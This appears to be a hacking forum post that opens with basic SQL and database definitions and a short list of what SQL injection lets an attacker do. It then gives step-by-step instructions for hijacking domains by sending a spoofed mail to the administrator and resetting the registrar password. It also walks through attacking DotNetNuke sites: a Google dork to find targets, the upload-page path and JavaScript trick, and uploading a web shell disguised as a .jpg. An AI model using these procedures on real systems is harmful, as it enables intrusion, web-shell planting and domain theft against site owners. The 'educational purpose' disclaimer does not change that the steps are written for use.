What is SQL ,SQL Injection and what an attacker can do , Data Base and types of Data Base?

What is SQL?

SQL (pronounced "ess-que-el") stands for Structured Query Language. SQL is a tool for organizing, managing, and retrieving data stored by a computer
database. The name "SQL" is an abbreviation for Structured Query Language. For
historical reasons, SQL is usually pronounced "sequel," but the alternate pronunciation
"S.Q.L." is also used. As the name implies, SQL is a computer language that you use to
interact with a database. In fact, SQL works with one specific type of database, called a
relational database.

Simple Basic Queries for SQL:

Select * from table_name :
this statement is used for showing the content of tables including column name.
For eg:
select * from users;

Insert into table_name(column_names,...) values(corresponding values for columns):
For inserting data to table.
For eg:
insert into users(username,userid) values("BreakTheSec","break");

I will give more detail and query in my next thread about the SQL QUERY.

What is SQL Injection?
SQL injection is Common and famous method of hacking at present . Using this method an unauthorized person can access the database of the website. Attacker can get all details from the Database.

What an attacker can do?

* ByPassing Logins
* Accessing secret data
* Modifying contents of website
* Shutting down the My SQL server.

What is Database

A database can be thought of as a set of logically related files organized to facilitate access by one or more applications programs and to minimize data redundancy. This concept does not imply that all data relating to a company’s business should be contained on a single database, but simply that all records in a database should be related and that redundant data should be minimized.

Some List of Database are:




* DB servers,
* MySQL(Open source),
* MSSQL,
* MS-ACCESS,
* Oracle,
* Postgre SQL(open source),
* SQLite.

Domain Hacking

A Domain hacking is a process to transfer domain(yahoo.com) without owner permission
with help of phishing, sniffing,spoofing.
A domain hack is an unconventional domain name that combines domain levels,
especially the top-level domain (TLD), to spell out the full "name" or title of the domain,
making a kind of fun.

Domain Hacking process:
1. See who.is record of victim(xyz.com) DNS record and note down
admin email (hackersspot3@gmail.com)

2. Send spoof mail to victim admin email for password.

3. after open domain registrar(my.indialinks.com) website to access
their domain control panel (click forget password)

4. After you get a password in victim email address of victim domain.

5. Just login on domain control panel.

6. and get ECCP code and create new account on hosting company
and choose Domain transfer (all submit all details)

7. You will get all rights on this domain for lifetime.

eg Domain :- www.Google.com

DNN Attack {Hack Websites Using DotNetNuke }

Hello everyone today i am going to give you the whole tutorial about the DNN portal hacking or the DOT NET NUKE attack.
so lets begin this tutorial
step1:
go to google.com and put this dork there

:inurl:/tabid/36/language/en-US/Default.aspx

this is a dork to find the Portal Vulnerable sites, use it wisely.
step2:
you will find many sites, Select the site which you are comfortable with.
Step 3:
For example take this site.
Example:

http://www.abc.com/Home/tabid/36/Lan…S/Default.aspx

step4:

now replace this

/Home/tabid/36/Language/en-US/Default.aspx

with this one

/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

now you will go to the link gallery so good so far ok

step5:

now put this javascript in the url bar

javascript:__doPostBack(‘ctlURL$cmdUpload’,”)

you will find the upload option

step6:

select ROOT

step7:

upload your shell (download it from here)

step8:

After upload
go for your shell www.yoursite.com/portals/0/yourshellname.asp;.jpg
EXample : http://www.itservicespro.net/portals/0/ankit.asp.jpg
so you upload shell and shell is front of you look like this (screenshot below)

Click on… again and again till you will see admin

Note:- This Article is for Educational purpose and Hackersspot is not responsible it.